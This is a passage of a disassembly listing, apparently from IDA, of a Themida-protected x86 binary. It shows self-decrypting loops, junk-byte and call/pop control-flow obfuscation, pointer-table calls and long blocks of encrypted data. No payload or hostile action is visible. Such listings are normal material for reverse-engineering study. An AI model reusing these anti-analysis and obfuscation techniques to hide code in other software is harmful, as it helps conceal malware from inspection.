0C67886F2h, 0BE066E6Eh db 6Fh ; --------------------------------------------------------------------------- loc_5B76ED: ; CODE XREF: sub_5B76D9+1j add edi, 6E37h jb loc_5B76FB mov edx, edi loc_5B76FB: ; CODE XREF: sub_5B76D9+1Aj mov eax, 1B66h mov ebx, 7E92C943h loc_5B7705: ; CODE XREF: sub_5B76D9+85j mov ecx, [edi] mov si, ax add ecx, 1776D4E9h xor [ebp+6280005h], eax xor ecx, 1D0984D0h mov bh, 0CBh xor ecx, 2A05EC45h movsx ebx, di push ecx mov si, 0B500h pop dword ptr [edi] xor esi, [ebp+6280249h] sub edi, 4 mov edx, [ebp+6282D31h] sub eax, 1 jnz loc_5B7758 movzx esi, cx jmp loc_5B7773 ; --------------------------------------------------------------------------- lodsd mov eax, 2D0D02Eh adc dh, [ebp-57h] ; CODE XREF: sub_5B76D9+A5j push esi loc_5B7758: ; CODE XREF: sub_5B76D9+67j mov esi, [ebp+628225Dh] jmp loc_5B7705 ; --------------------------------------------------------------------------- db 4Ah dd 5ECF9CCFh, 1A9559D3h, 5A756D6Bh db 0E2h, 6Dh, 46h ; --------------------------------------------------------------------------- loc_5B7773: ; CODE XREF: sub_5B76D9+70j call near ptr loc_5B7780+1 jbe short near ptr loc_5B7788+3 dec esi cmp eax, [ebx-33h] loop near ptr loc_5B7754+2 loc_5B7780: ; CODE XREF: sub_5B76D9:loc_5B7773p or cl, [ebx+280F0585h] sub_5B76D9 endp ; sp-analysis failed push es pop ecx loc_5B7788: ; CODE XREF: sub_5B76D9+9Fj jmp loc_5B7795 ; --------------------------------------------------------------------------- retn 0E528h ; --------------------------------------------------------------------------- dd 53441502h ; --------------------------------------------------------------------------- push cs loc_5B7795: ; CODE XREF: Themida_:loc_5B7788j add ecx, 6A6Ch mov [ebp+6280669h], edi xor ebx, ebx mov eax, [ebp+6281815h] loc_5B77A9: ; CODE XREF: Themida_:loc_5B7825j mov edx, [ecx+ebx] jmp loc_5B77C5 ; --------------------------------------------------------------------------- db 0A3h, 0CAh, 0F5h dd 73BDB822h, 9F48275Dh, 3864987Fh, 0DF407B2Dh ; --------------------------------------------------------------------------- pop esp loc_5B77C5: ; CODE XREF: Themida_:005B77ACj add edx, 5CFE9032h movsx eax, ax sub edx, 3F0D2FA0h ja $+6 add edx, 5C5C5B42h mov edi, [ebp+6281E6Dh] mov [ecx+ebx], edx mov [ebp+62819E1h], eax xor eax, [ebp+62816A5h] sub ebx, 3 mov [ebp+628195Dh], edi dec ebx sub [ebp+6282D3Dh], ebx cmp ebx, 0FFFF964Ch jnz loc_5B7825 mov ax, 773Ch jmp loc_5B7834 ; --------------------------------------------------------------------------- dw 98CFh dd 0D88F5594h, 2F78D56Ch db 18h ; --------------------------------------------------------------------------- loc_5B7825: ; CODE XREF: Themida_:005B780Bj jmp loc_5B77A9 ; --------------------------------------------------------------------------- dw 0BBDFh dd 6FB2AA33h, 5673206Bh ; --------------------------------------------------------------------------- loc_5B7834: ; CODE XREF: Themida_:005B7815j lea ecx, [ebp+62EE563h] mov ebx, edx mov ebx, [ebp+6280261h] mov [ebp+6280715h], ecx jno loc_5B7854 xor ebx, [ebp+6281681h] loc_5B7854: ; CODE XREF: Themida_:005B7848j mov dword ptr [ebp+62821BDh], 599Ch mov dx, 8CA4h mov dword ptr [ebp+628113Dh], 0 push ecx push ebx pop esi pop edx js loc_5B7882 jp loc_5B7882 ja $+6 loc_5B7882: ; CODE XREF: Themida_:005B7870j ; Themida_:005B7876j push dword ptr [ebp+6281E85h] or [ebp+62831E1h], edi jle loc_5B7895 cld loc_5B7895: ; CODE XREF: Themida_:005B788Ej call dword ptr [ebp+62814D9h] mov [ebp+6282D31h], edx push 0 call dword ptr [ebp+6280465h] mov eax, eax jmp short loc_5B78C8 ; --------------------------------------------------------------------------- db 65h, 0F4h, 0Fh dd 1147D850h, 45DFBF8Dh, 1B37ACE1h, 0C0897329h, 179FB02Fh dd 5DC21660h ; --------------------------------------------------------------------------- loc_5B78C8: ; CODE XREF: Themida_:005B78ABj lea ecx, [ebp+62EE65Ch] push 0 push edi call sub_5B78D9 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B78D9 proc near ; CODE XREF: Themida_:005B78D1p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_5B78D9 endp ; --------------------------------------------------------------------------- db 64h, 75h, 0E9h dd 0Dh, 0A05E0AD0h, 84B738FEh, 0CA49948Ch, 158D89D3h, 6A062807h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 3A5AC353h, 0E137422Eh, 12A59589h, 85C70628h dd 62821BDh, 5884h, 85C7C38Bh, 628113Dh, 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_5B794B and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B794B proc near ; CODE XREF: Themida_:005B7943p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_5B794B endp ; --------------------------------------------------------------------------- db 2Ch dd 0F6A37B46h, 894F7A44h, 280015BDh, 0A9B5FF06h, 81062822h dd 0FC0BAFC6h, 0D995FF09h, 6A062814h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0D684C356h dd 6A1774h, 46595FFh, 0C08B0628h, 0CC1139EBh, 0F24F9EBAh dd 0D05CBBAAh, 44EDF1BEh, 0E871B5EBh, 6DB31E34h, 1648A8EDh dd 0F9E22E1Ah, 48B38B64h, 0DD93BABBh, 95DE9B58h, 0FA5E8479h dd 0F531F0B0h, 8C8866E7h, 8D6B5058h, 2EE7BA8Dh, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 858B8C27h, 6282EE5h, 2BB9BD89h, 12E80628h, 66000000h dd 468421F6h, 0F0404683h, 48013E21h, 88C57229h, 0C59D8BA5h dd 5806282Ch, 7158D89h, 6A0628h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 119E84C3h, 0E9E8BB26h dd 0Dh, 0AB744A3Eh, 0F025605Ch, 0E162EF1Ch, 0BD85C773h dd 7C062821h, 6A00006Fh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 0A9CDC350h, 0E4C3855Eh dd 0E992A877h, 0Dh, 10498AE4h, 0AE72C8ABh, 1F5C18F9h, 3D85C7D2h dd 62811h, 8B000000h, 2802A5BDh, 0E1B5FF06h, 6A062805h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 0E0AFC350h, 0B7B84CC1h, 9E9h, 3BF9A300h dd 77D31C14h, 12B36651h, 14D995FFh, 95890628h, 6282149h dd 95FF006Ah, 6280465h, 0CEBC08Bh, 0D574DC35h, 0D8DD1330h dd 1C5E4E4Ah, 5E8h, 86335700h, 9D015C1Fh, 6280745h, 81F38A59h dd 6F0EC1h, 3C02B00h, 280795BDh, 834FF06h, 0FD45BA66h dd 0BCEBE5Bh, 0EB811A8Ch, 6F254EFFh, 81F2BF0Fh, 0B96EB8F3h dd 81F88B31h, 0C21170C3h, 6E914h, 0F1880000h, 8C0C4637h dd 6D8D0953h, 8F062803h, 0F88B0104h, 1FA59589h, 0E8810628h dd 4757D2F5h, 1E7D9529h, 0C0810628h, 4757D2F1h, 13E8h dd 44066400h, 17DA98Ah, 3E4D7E0Dh, 4FC20815h, 4F80BA76h dd 5ED78B66h, 91B4F881h, 850FFFFFh, 1Ch, 7E8h, 0A438C500h dd 6F49F3B3h, 36D305BFh, 18E95F65h, 0A0000000h, 0D6D79F70h dd 1709BD8Bh, 5EE90628h, 9FFFFFFFh, 0A6BA9A0h, 8D0335E7h dd 2EE93C8Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 0E96E292Ch, 0Bh, 0C6AEC941h, 93BCBFB4h dd 896E3DFFh, 2807158Dh, 959D3106h, 0C7062834h, 2821BD85h dd 620806h, 3D85C700h, 62811h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 29B0C356h dd 0B559B3CAh, 1819B5FFh, 13E90628h, 5A000000h, 0F91E7A8Dh dd 53E14228h, 744705D5h, 0F815AE16h, 95FFB621h, 62814D9h dd 1751B589h, 6A0628h, 46595FFh, 0C08B0628h, 0A81F28EBh dd 9325558Ah, 83B7CDB6h, 46A57C41h, 9190C682h, 0DB84E4B2h dd 0CEEB6B2h, 7453DB4h, 2ACE512Fh, 2ABA40B0h, 0EE8C264h dd 71000000h, 8E8C9684h, 83A40867h, 0A88DF01Ch, 800F60E8h dd 6, 1F79B533h, 8F0F0628h, 3, 61B7E280h, 99952358h, 81062833h dd 7560C0h, 0F59D2900h, 2B062819h, 319D89F6h, 8B062826h dd 9D89300Ch, 62824E5h, 95A2E981h, 0B2B62BBFh, 69B6C181h dd 81F927FAh, 0D0851EF1h, 6800F3Ah, 29000000h, 2820F19Dh dd 8D895106h, 62822D9h, 6630048Fh, 13E9D08Bh, 4F000000h dd 2FD68162h, 0FEB068F6h, 3682FC8h, 0F489DF53h, 0EE83C3B3h dd 8B4EF903h, 281339BDh, 78FE8106h, 0FFFFF8Bh, 1F85h, 0BE900h dd 0D0920000h, 600A0A54h, 0FAA4D1C3h, 21E99Eh, 0CE7F0000h dd 0FC178BE8h, 0BB4ABF12h, 2A8D9D0Bh, 70E90628h, 0DFFFFFFFh dd 0D107B5Dh, 3CDD0F97h, 0E84D70DEh, 0Ah, 0C29642C7h, 0FD72F1DDh dd 0BF0F5B6Eh, 0D9805BCAh, 0ECC3810Dh, 0F00006Bh, 0FF2BD1B7h dd 26258531h, 34FF0628h, 21C9811Fh, 5E0E7083h, 11E9h, 2FCEBC00h dd 2B1141Eh, 0FA455EE9h, 67FD1555h, 0F68193B1h, 3FAE81Ah dd 0F81B589h, 0C6810628h, 1ADBDE99h, 81C1B70Fh, 2FE387C6h dd 0F9CC8064h, 893B3489h, 2819F59Dh, 0BE806h, 0CEE0000h dd 7453DB4h, 2ACE512Fh, 5879B1B0h, 8B04EF83h, 0A0FF81C7h dd 0FFFFF94h, 0FFFF9585h, 0CFBF0FFFh, 10E8h, 0D5BFE300h dd 7A12949h, 0A1FF670Bh, 994D9BFDh, 45858B50h, 5B062825h dd 13BDECB8h, 33C38162h, 60000066h, 0B70FCA8Bh, 676861C3h dd 8B000019h, 28185D8Dh, 0BD095A06h, 6280C19h, 852B3B8Bh dd 6282D09h, 0E6D4C781h, 810F4AADh, 5, 0EDF08166h, 39F78180h dd 0B5398D0Ch, 0CF781F1h, 0F285B48h, 0F57C8B7h, 58Dh, 27C6B800h dd 38F058Dh, 0E902EB83h, 0Fh, 524181C7h, 0B68BB95Ah, 0A2A10AD5h dd 4B2E8F7Bh, 0F4AF84Bh, 0FFFFA785h, 816660FFh, 616657F6h dd 10E8h, 299CD100h, 0C3CA593Eh, 0B6EED83h, 0F47F6B9Ch dd 11B52919h, 59062821h, 0F1BD2B51h, 5F062807h, 6772C181h dd 0FC8A0000h, 2B50C033h, 282D9DB5h, 148B5B06h, 34C28101h dd 291D7701h, 28150D95h, 2AC28106h, 23499B7Fh, 281F099Dh dd 5EEA8106h, 0E85C5D29h, 5, 0EF1DDA29h, 0C5B52B7Dh, 5E062819h dd 0E9011489h, 0Ah, 4EBBAC65h, 0B934B9BDh, 0F08B36DDh dd 86B0E881h, 89570D03h, 28168D9Dh, 0C0815E06h, 0D0386ACh dd 0E921B560h, 0Ah, 0CF3DA62Dh, 0DDCFCC9h, 816137ABh, 0FF9934F8h dd 87850FFFh, 42FFFFFFh, 6A234ACh, 7AA27C24h, 0F33BB37Dh dd 21801837h, 9083B42Ah, 0DD6F3025h, 0A7863025h, 3A8A6598h dd 8D893023h, 848630ADh, 4CAB8DA6h, 2E86360Dh, 90864BA1h dd 6D03F625h, 6A801828h, 128634CDh, 4B517025h, 0C00D608Dh dd 420D3401h, 25A274ACh, 0C533CF7Dh, 0C5801829h, 0FE968A0h dd 9956CF23h, 2C03F6D5h, 0CA801828h, 0DFF7FC4Dh, 5B2B1E1h dd 0FC5996A9h, 46AB85DAh, 0A10B360Dh, 14AD5F7Dh, 0F10DE0DAh dd 8486209Ch, 428ED925h, 2E203025h, 90863EA0h, 818D7925h dd 0DB76B52Ah, 1F6FCFDAh, 84863025h, 0ACC95EB8h, 42838823h dd 0C2793025h, 7CA88DA8h, 0C50B360Bh, 22A8DCD0h, 22A3229Dh dd 42491BA3h, 6A234ACh, 7AA27C24h, 0F33BB37Dh, 21801837h dd 9083B42Ah, 0DD6F3025h, 0A7863025h, 0E9836598h, 0B9A4F305h dd 22h, 32E9h, 22227A00h, 1, 0Ah dup(0) dd 0E9000000h, 8EBh, 45C2B889h, 0F8757341h, 0A92628F4h dd 60DDD3A5h, 14918F5Ch, 0A7744511h, 59282CA9h, 13DEE25Fh dd 0C0909411h, 932349C6h, 5D7EEF2Dh, 6CB68979h, 0AA697448h dd 0DDACFAF4h, 804B7DE3h, 0A0AFEA7Eh, 7F73937Dh, 5C56254Bh dd 7DE34F37h, 7F73935Fh, 0AD8317D9h, 2866E3DDh, 0CC383202h dd 7393B666h, 6C00C27Fh, 42AED7AAh, 5BB219DCh, 0E147A775h dd 795BB33Bh, 8BE77B3Dh, 23F0A4C9h, 0D4A4A825h, 78486EDAh dd 0DD71597Eh, 96906014h, 3B35042Ah, 0D19A2E16h, 2DB36C0Ah dd 0CEC8975Dh, 4DADEB68h, 5BB331E7h, 0ED814379h, 594F5920h dd 835DC1h, 0E08A0000h, 83A91513h, 0DF93B8B6h, 5ED1214h dd 0A39D6D9Fh, 3902967Eh, 95BAB885h, 2BFA20CEh, 0E49D9D31h dd 1693915Eh, 312B5E1Bh, 5358BBh, 8CB00000h, 0C1C68D90h dd 548F239Eh, 0F01513E0h, 9C3CA202h, 987F7393h, 0E92C42D6h dd 117F7393h, 6F234842h, 0D082A79Dh, 3064FBCAh, 0CD6BB05Fh dd 0C3C18E14h, 0D50B69Eh, 92F2B26Bh, 73A8EC2Ch, 32C6887Fh dd 19C78F5Ch, 0D096B369h, 2E35B218h, 17h, 1513E035h, 93DAFCF0h dd 4DAF7F73h, 77410E94h, 0A088ADA7h, 0F454BD3Ah, 32980421h dd 755B8437h, 0BE729759h, 8C5624F2h, 0F359BFC1h, 0A4A67276h dd 0E70CDF7Fh, 0B7FE157Bh, 0D6987373h, 9851E5B1h, 0C7444612h dd 5E29F7C3h, 648AF65Ch, 3B049896h, 23AF6147h, 0CC85E973h dd 0FB787A46h, 0FE1BF492h, 9FFFED67h, 7393E339h, 3FD3957Fh dd 0B580A604h, 79491FB3h, 93C51379h, 0E16F7F73h, 7EF1416h dd 95A43BA1h, 0B180A62Ch, 335623B7h, 83BE3123h, 36h, 0A167B7DBh dd 4F86F395h, 1BF480BBh, 9A6C92FEh, 3977FA4h, 9840A6C8h dd 9C7F7393h, 80A643DAh, 0DC90B5B3h, 14A80E10h, 14E07904h dd 6A577B12h, 35DDh, 1BF4E400h, 934A92F8h, 60EE7F73h, 856D9294h dd 0A622B91Fh, 9338E046h, 0F2C27F73h, 0E2B240F8h, 75DBC3E8h dd 0AD6BD1E1h, 0D67F7393h, 1BA65FF6h, 7B1214E0h, 80A66A57h dd 4E24B8AEh, 6B5F847Eh, 7F77123Bh, 3D0B31B9h, 0F2ABAB3Fh dd 3E400C32h, 0A04D4AAh, 0DEAC789Eh, 88AD1311h, 0E7EB0CA0h dd 43F71C1Ah, 0E3DDAC76h, 0B7B00CBEh, 870B8DE6h, 894FB521h dd 0AB7F77CCh, 975E83E9h, 8F6EC5E9h, 858F079Ah, 7838F1F1h dd 0F1BC8252h, 7CE2CAEFh, 474512E8h, 3BAACFCAh, 540CBB35h dd 64000000h, 0DD71733Eh, 0B080A6A2h, 15A991B6h, 50756F3Fh dd 1EDE0262h, 0FC2A2C7Ah, 1CC41486h, 0AE707F73h, 6085581Ah dd 33578EF4h, 2FF1755Bh, 888A560Ah, 0E7DDAF63h, 0A962F6C2h dd 0EB0F97EFh, 0B9ADE377h, 2525B971h, 6388AC6Ch, 0C3FBFB6Eh dd 19E9BF53h, 0E039A21Fh, 51F11610h, 83E9557Eh, 755B8E2Ch dd 0CCC3292h, 28795B96h, 0E876D266h, 1CE91B1Dh, 264CB81Eh dd 4B33585Ah, 0C29296B7h, 67365CC8h, 2E96486Dh, 0D9733C2Ch dd 0E9B5E74Dh, 46DAC2E7h, 0CAB4897Dh, 7A4CFDCDh, 0DFAB5F84h dd 0DFDDABDDh, 3B3906BAh, 50E42E16h, 0D85DD97h, 38FECE54h dd 6C3E7066h, 8F931076h, 29C8FBBFh, 0D53B9F7Ch, 0FDE50A08h dd 6C0C3197h, 0AA107C99h, 0FFC0F577h, 61CA4709h, 67FE1BF4h dd 0B5B380A6h, 54BDDE90h, 3CCE664Dh, 8B7942D6h, 0ECCF6067h dd 3A6C2C74h, 9DD86C6Eh, 7F1610E0h, 0A0E92C95h, 16BE3123h dd 25h, 0FE1BF443h, 0C29A6E92h, 6AB08ED0h, 40A69BD6h, 7F739398h dd 0A643DA9Ch, 1214E01Bh, 0DD6A577Bh, 28h, 0FE1BF4E4h dd 9840A667h, 0AB7F7393h, 1BA634CBh, 0A61214E0h, 9338E046h dd 22887F73h, 7F7393FAh, 4204BC7Eh, 6A5773AEh, 0F11610E0h dd 771249FDh, 0A5A3717Fh, 0FECC80h, 0EFC1F3DBh, 6F0DD4F9h dd 1CA4FCB6h, 0AA7D92F8h, 6CB2E2D8h, 0BCBC50AFh, 0B3AD7D03h dd 9B653236h, 0C5ADD2CCh, 17E46195h, 6AD0A976h, 0C6C49145h dd 833CDAA1h, 0D1CF9DC3h, 5A30C4ACh, 0D4128F8Dh, 50E4DEAEh dd 35F1F683h, 0A9769CBBh, 5C993FA5h, 0D99B7F77h, 51F3DF73h dd 20000000h, 38E046A6h, 3C7F7393h, 4010E67Ah, 16E5AB7Ah dd 0A991B61Ch, 0D0301E43h, 6EE0DAAAh, 7F7393AEh, 0BCD808CAh dd 539972C1h, 6A3DFF93h, 1D7DDD49h, 73A461B7h, 0E551137Fh dd 73A4597Fh, 8519DB7Fh, 5B83AC6Fh, 0E70CCE75h, 56DC950Dh dd 0A60F8C86h, 0B5B380A6h, 95BAB483h, 734319ADh, 40665479h dd 0DFE1AC6Eh, 5023E579h, 0DA61C733h, 1C755B92h, 7B9FDD5Ah dd 796FDBD5h, 5DB5B3B9h, 791489B9h, 0F4478216h, 0A667FE1Bh dd 24B8AE80h, 0B1496D5Bh, 1D025F92h, 406D204h, 2863F7DFh dd 0AA1610E0h, 24B8B684h, 0E92C95E9h, 0BE3123A0h, 36FCCCF2h dd 72066C66h, 4086h, 80A6B300h, 6022B6B0h, 0A6D36A87h dd 9338E046h, 7A3C7F73h, 5076D6E6h, 7A628781h, 9308D0E6h dd 6A2C7F73h, 0E01BA6D3h, 577B1214h, 0A2A46F95h, 0B65957Dh dd 55E83D90h, 0DD1B56EAh, 55h, 0B080A6E4h, 15A991B6h, 0F15D7A53h dd 93ED2B91h, 0C5877F73h, 40A6F631h, 7F739398h, 0FA2288E8h dd 0CA7F7393h, 7393B464h, 46FEC07Fh, 85EBEDB8h, 2DC4A4F1h dd 542046A6h, 0B1452D52h, 1214E076h, 0E046A67Bh, 7F739338h dd 41F9F3C2h, 0C0E5E7B3h, 7FDE72D8h, 1610E092h, 1249FDF1h dd 0A6717F77h, 11E0389Eh, 0D2947F77h, 0C193476Ch, 8AF4A6CBh dd 7EEC9CE1h, 0CD861A64h, 0D333BB13h, 7767AF6Dh, 81834F7Fh dd 0FABC745Ch, 27AD6666h, 0DCE05D57h, 4DED120Ch, 87ED597Ah dd 755F7538h, 92FB783Ah, 60321BF4h, 0ED6D046Ah, 1610E0D4h dd 0F757957Fh, 73934B91h, 972BED7Fh, 23A0E95Ch, 5C16BE31h dd 6E000000h, 1E18E80Eh, 799F11F9h, 0FB7C7393h, 80A59B6Dh dd 639E3298h, 2341BF4h, 0FE5EB4ACh, 0A665FC62h, 5880E646h dd 0DC7F7393h, 0A870861Ah, 0CC7F7393h, 1BA6730Ah, 0B3B580A6h dd 757D491Fh, 7393C90Fh, 43A96B7Fh, 0DD6A57ACh, 40h, 13B9EB0Fh dd 1B5CC36Bh, 0FB201AE9h, 0F4447F13h, 6466321Bh, 85EB573Fh dd 7F739357h, 4DB91FE1h, 365B5927h, 933AE248h, 7C3E7F73h dd 0A6478216h, 73939840h, 34CBAB7Fh, 14E01BA6h, 6A577B12h dd 0F11610E0h, 771249FDh, 1AD34B7Fh, 2492365Ah, 371E6128h dd 39FDCDA3h, 2F4FFEA1h, 885587F2h, 177D658Ah, 0CCC6969Ah dd 0F3407A7h, 0DE423DA3h, 50B0755Fh, 385D5F2Ah, 363EDE50h dd 783A795Fh, 49C688E4h, 0B380A6E0h, 0F71C1EE9h, 5315A90Fh dd 0EDC65D7Ah, 1610E0D4h, 0B9B784AAh, 2C95EA25h, 3123A0E9h dd 0FCCCF2BEh, 4A826E02h, 0AF000000h, 92FE1BF4h, 799EA06Ch dd 0ADF96191h, 9D78B907h, 40A6CE09h, 7F739398h, 0A643DA9Ch dd 5880E646h, 627F7393h, 8C749993h, 437E12D4h, 0B3B580A6h dd 65012F83h, 0FD91A491h, 0ED595B27h, 6BFFF5C7h, 0DD6A5730h dd 28h, 0B180A6E4h, 0B9B785B7h, 6D8A6325h, 0E646A6D6h dd 73935880h, 861ADC7Fh, 7393A870h, 64FBDB7Fh, 14E01BA6h dd 6A577B12h, 0B6B080A6h, 3F15A991h, 0B050756Fh, 0E64CB8DDh dd 755B927Fh, 0FC3AB779h, 770B09D6h, 55C1E2B5h, 93498FF5h dd 5DEB795Bh, 866E938Dh, 1C7C8C20h, 938656BCh, 0EAB2795Bh dd 5B935484h, 0B81EE079h, 0E62A0E24h, 0C04E730Ah, 0E5CDF2F4h dd 466C5A7Fh, 6C54797Bh, 383202D8h, 0EDE7B7BBh, 102DD4C8h dd 2FA77816h, 5A20F076h, 81698E8Ch, 609E1Bh, 1050429Ah dd 0A034F66Ch dd 0DB00FACAh, 0F1278DEDh, 0B6C1050h, 83CC4B98h, 0E3A55D56h dd 8FCB1177h, 0AB6D6C10h, 796F4117h, 3BF48854h, 8A88557Bh dd 565020F6h, 0B05D5D9h, 132FE6h, 0A6360000h, 456C0D82h dd 22B662DCh, 0E0ABD1F3h, 3DD1B9DEh, 190FE002h, 767040F4h dd 0D0D29D51h, 2E28F7ABh, 8A885509h, 0E6E4B165h, 453B0DC1h dd 9EA06C20h, 0F9F7C579h, 0AF68FFD4h, 89000049h, 3868241Ch dd 89000040h, 92682434h, 89000069h, 0EC81243Ch, 4, 68240C89h dd 322D0B91h, 3AE98159h, 892BFE1Eh, 216859CEh, 89000048h dd 4812424h, 424h, 0BC685F00h, 89000052h, 34812434h, 72218824h dd 8478F1Eh, 88087781h, 8B1E7221h, 8950243Ch, 405E0h, 4050000h dd 87000000h, 0FF5C2404h, 815E2434h, 4C4h, 89A3E900h, 7E32FFF9h dd 0BABE2B04h, 0B8E165B8h, 62EF5BDh, 0E0FFC503h, 69949833h dd 45489567h, 1D415957h, 69C83EE0h, 6CD8C019h, 0EB017F3h dd 0E577D4Fh, 2E1DB771h, 75C88E62h, 29BD1C03h, 2FFCEF8Dh dd 33DBC909h, 4B35AC18h, 22C10D8Ch, 49111548h, 33C75B4Ah dd 292509DEh, 3208A5B6h, 5C99B922h, 8E8h, 45A5D500h, 4CC9FFFFh dd 0B35FFC00h, 0C8C78160h, 8100005Eh, 0EB9929D3h, 6829h dd 0C6800000h, 8BF55EBFh, 0F0813704h, 3D9575E2h, 9ED1B966h dd 0A23DF081h, 840F6983h, 3, 81BCE780h, 848353E8h, 67B96661h dd 3704897Ch, 0E8DE8B66h, 10h, 44D69403h, 3F35FB5Ah, 0B6A91539h dd 8953158Bh, 835B61B2h, 0D88B04EEh, 0A1D4FE81h, 850FFFFFh dd 12h, 22E9EB8Ah, 6A000000h, 0B7DBA78Fh, 0B96A50D1h, 0FB77C7Bh dd 0FFFF92E9h, 1B84A4FFh, 7A5A9D64h, 0B0F6E785h, 59AE92BCh dd 128D8D1Ah, 6A062EF8h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 666EC356h, 0BC0D681h dd 7158D89h, 6A0628h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 1A1397C3h, 71046CF9h, 69952989h dd 0C706282Eh, 2821BD85h, 666806h, 4DEB8100h, 0C71BF9E1h dd 28113D85h, 6, 0D8816600h, 0B5FF9ABBh, 6281321h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 5AC35040h, 0F98501C2h dd 0FF062821h, 2814D995h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 9E9BB3Fh, 0B000000h dd 0C44A2EF2h, 0A8358A88h, 95FF006Ah, 6280465h, 29EBC08Bh dd 0DBD7CA15h, 22E07A47h, 0D6C10AF5h, 3E3D4F6Fh, 0F630B205h dd 0CEB098BBh, 6185249Bh, 0BFD1EC22h, 44EB15F3h, 0E4BA12D9h dd 0FE80Ch, 336F0000h, 770D701Eh, 0E12627DBh, 36CDCFh dd 0CE998h, 0FA8A0000h, 7A99F704h, 0C4500B42h, 515BC8DEh dd 0F4C38159h, 6600006Ch, 0BE162EBAh, 32B61262h, 899F681h dd 0D6B432B6h, 0E95233FFh, 10h, 0CA28B11Ah, 0AE1985CCh dd 18160696h, 959BE513h, 800F5F5Ah, 6, 0D498D29h, 0F7810628h dd 23A01506h, 14E9h, 0D1114300h, 5078206Ah, 702604CBh dd 6961DAE5h, 0CFCD5E61h, 0AEC78159h, 0E955F425h, 11h dd 0AE8B310Eh, 0F894FD70h, 3FDCC686h, 1DEF3D06h, 45EF8112h dd 8B7379C6h, 280CBD95h, 573B8906h, 0FE8h, 0E6E05E00h dd 98AAD1D1h, 0F60973A9h, 77442952h, 5932DC80h, 2EB835Ah dd 18F98589h, 4B4B0628h, 0E3D8589h, 0F4E0628h, 1A85h, 0B1952300h dd 0E9062804h, 26h, 2C2DBBE1h, 2E14FDF0h, 0FE24FEF4h, 80C39AD4h dd 3DE9FEE4h, 0B0FFFFFFh, 0F9C0F70h, 4DAF5C08h, 0E34D15E5h dd 1BE9CA79h, 6D000000h, 53C64Bh, 5 dup(0) dd 0C3E90000h, 6A000005h, 2226A399h, 0D5D95654h, 868A0709h dd 3D41BEB4h, 0F2F57270h, 8A8855A4h, 403A090Dh, 0F2F4BFC3h dd 0A7A17175h, 0E74042Ah, 795D6ACEh, 0E022976Ah, 84AA1610h dd 0AF97BCB2h, 0D19E521Bh, 825256D3h, 0DFAF6388h, 3E0CC0E5h dd 0DDAA874h, 0D743A90Fh, 50E4E6B1h, 7C35AD87h, 0AF2C26F6h dd 72DEE0ABh, 0E3B57F4Ch, 7A6287EDh, 0F6C1C5E6h, 0BDE1CFF4h dd 3B8BD00h, 1BF1852Bh, 5E43884Ch, 3546FD5Bh, 0D3036967h dd 477D6C67h, 4065CBBCh, 0A127E074h, 1957D4D6h, 942826F3h dd 88EEEEBEh, 7F735550h, 3ECC286Ch, 581052B4h, 1D0B3096h dd 9B2F25F7h, 73B35285h, 0D18A867Fh, 314F2554h, 8591BBh dd 89E90000h, 73BFF523h, 54F37F7Fh, 0AA45E067h, 8EC95DC3h dd 9E4C10E0h, 4696FC4Ch, 0F27F73BDh, 0E9C20030h, 0C7BBE046h dd 7F733A17h, 5212CBC7h, 3A4C8CF2h, 26E87F73h, 3A8454BAh dd 0EEB07F73h, 0D8EC8D5Ah, 0ACABB31h, 22000000h, 3A5E00FEh dd 9D31FF5Bh, 1412E062h, 696D3BEFh, 7393D503h, 31975F7Fh dd 7F7393EBh, 0FF65CB8Dh, 925426DAh, 3F64CAC0h, 0AE34ED65h dd 6165E2E0h, 0D1BDCD91h, 0CA2F546Bh, 0A67EE764h, 9338E046h dd 0F2C27F73h, 33EBD3F8h, 3A07DD71h, 0DEAAD03Ch, 0CB7F48DCh dd 13DAFFFDh, 6936BC75h, 0AFD4D29Fh, 0E0E461C7h, 4AAA1610h dd 0CBAEBF26h, 0A2146B9Ah, 7F73B47Ah, 8D036FEh, 2C7F73B4h dd 3298046Ah, 7F73B4EAh, 6F38CC8Eh, 0C8EDEFBBh, 21464814h dd 80A59B6Dh, 0C57F389Ch, 0D8550E54h, 0BB3154B1h, 7B05h dd 13E03200h, 0B4111E4Bh, 95B7E7E9h, 668BF1B1h, 0BFE4E6B2h dd 1C413B0Bh, 7BA09668h, 0C17B3496h, 0B238F169h, 2C6AE7E5h dd 13383A06h, 302AF92Bh, 0B98F230Bh db 0ECh dword_5B8EA1 dd 4315C9EEh ; DATA XREF: Themida_:loc_54D3EDr ; Themida_:005A0BFBr db 4Dh, 28h, 35h dd 0D0B936EFh, 0E6BB31E6h, 80h, 4A4C183Eh, 6BD13D25h, 7F7350ADh dd 367105C7h, 0F01513E0h, 9C3CA202h, 987F7393h, 0A16C42D6h dd 33957A9Fh, 0F45ABA7Ah, 7F739324h, 24FA8E50h, 73DC5957h dd 38E046A6h, 3C7F7393h, 0BEE3E1AEh, 9E0470D6h, 7F73937Eh dd 0CEA438FAh, 70960200h, 0E3399FA3h, 957F7393h, 60486DD3h dd 0EF1503CCh, 23EF2123h, 0A4778D21h, 787F7393h, 7B79466Ch dd 0DADA6E56h, 2FD5A421h, 1E1BB31h, 0E000000h, 0ED1214E0h dd 3AA56939h, 12514EAEh, 53B9BB87h, 